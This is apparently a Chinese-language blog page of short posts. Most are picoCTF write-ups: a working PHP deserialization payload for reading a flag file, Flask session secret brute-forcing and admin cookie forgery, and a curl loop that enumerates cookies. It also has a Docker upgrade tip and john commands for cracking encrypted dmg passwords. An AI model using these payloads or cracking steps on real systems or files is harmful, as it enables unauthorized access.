picoCTF - Super Serial

先檢查 robots.txt 發現有 Disallow: /admin.phps 接下來就檢查 /index.phps ,可以看到 Source Code,接下檢查發現他引用了兩隻 php authentication.php cookie.php

一樣先檢查他們的 Source code,會發現有一隻從 Cookie 可以反序列化的函式

以下是 payload,將得到的 Token 塞進 Cookie 就拿到 Flag。

<?php
class access_log {
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}
$perm = new access_log("../flag");
echo base64_encode(serialize($perm));
?>

picoCTF - caas

https://picoctf/cowsay/{message}

蠻簡單的一題,一隻牛會說出您輸入的訊息。這題有提供 index.js,不過我沒注意到就直接解了。

Read more  ↩︎

picoCTF - More Cookies 150 points

Cookies 的進階題,還有一個同名版本是 2021 年的 More Cookies 90 points 但那題感覺難上很多。

這次作者有提供 server 的 source code ,簡單來說就是直接 Open Book,他使用了一套叫做 Flask 的 Web framework。

服務啟動會隨機挑選餅乾名當作 Secret key,當使用 Session 時,去產生出加密後的 Cookies。

所以我們先照慣例,直接搜尋 snickerdoodle,從開發者模式取得 Cookie,原本想自己照他的模式,寫類似的 python 來跑,不過從 Google 發現這個有人已經寫出加解密套件。

GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

cookies=(a b c)

for i in "${cookies[@]}"; do echo "$i"; python ./flask_session_cookie_manager3.py decode -s "$i" -c [cookies]; done

順利的話會找到對應的 Secret key,也可以稍微看一下解密出來的明文的樣子,再把內文改成 admin,再用 Key 拿去加密,組成 Cookies 回寫瀏覽器就解了。

picoCTF - Cookies

這一題標題就非常明示的,這是跟 Cookies 有關係。 打開網址首先會看到一個輸入框跟搜尋按鈕,輸入框裡還有 placeholder 寫著 snickerdoodle。直接輸入 snickerdoodle

會出現 I love snickerdoodle cookies!

打開瀏覽器開發工具,找出 Cookies 會發現寫了一筆 name = 0 的 Cookie ,以此類推,可能會有 1, 2, 3... 的 cookies。

接下來 curl 是工程師的好朋友,寫一隻 Shell Script。因為 Flag 有某些特徵,所以我用 Grep 去過濾掉不要的資訊。

#!/bin/bash

set -B
for i in {0..28}; do
  curl -v --silent 'http://picoctf/check' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://picoctf/check' -H 'Cookie: name='$i -H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' 2>&1 | grep pico
done

這題分數雖然不高,其實也真的不難,但寫 Shell Script 蠻有趣的。

自行升級 Docker

最近遇到一個 Bug,實際追下去後才發現是 AWS 提供的 Docker 版本不是最新的。Docker 網站有提供編譯好的執行檔,可以直接下載覆蓋原有執行檔,之後套件更新也會一併升上去。

$ wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.7.tgz
$ tar zxvf docker-20.10.7.tgz
$ sudo cp docker-20.10.7/docker /usr/bin/docker

暴力破解加密的 dmg

首先先安裝 john-jumbo

$ brew install john-jumbo

先產生 hashes,注意程式版本是否不同

$ /usr/local/Cellar/john-jumbo/1.9.0/share/john/dmg2john target.dmg > target.dmg.hash

開始暴力破解

$ john target.dmg.hash

如果明確知道密碼組成,可以使用 --mask

$ john --mask="[0-9a-z][0-9a-z][0-9a-z]" target.dmg.hash

如果要多開 processes,可以使用 --fork,最高不要超過 CPU Core 數

$ john --fork=8 target.dmg.hash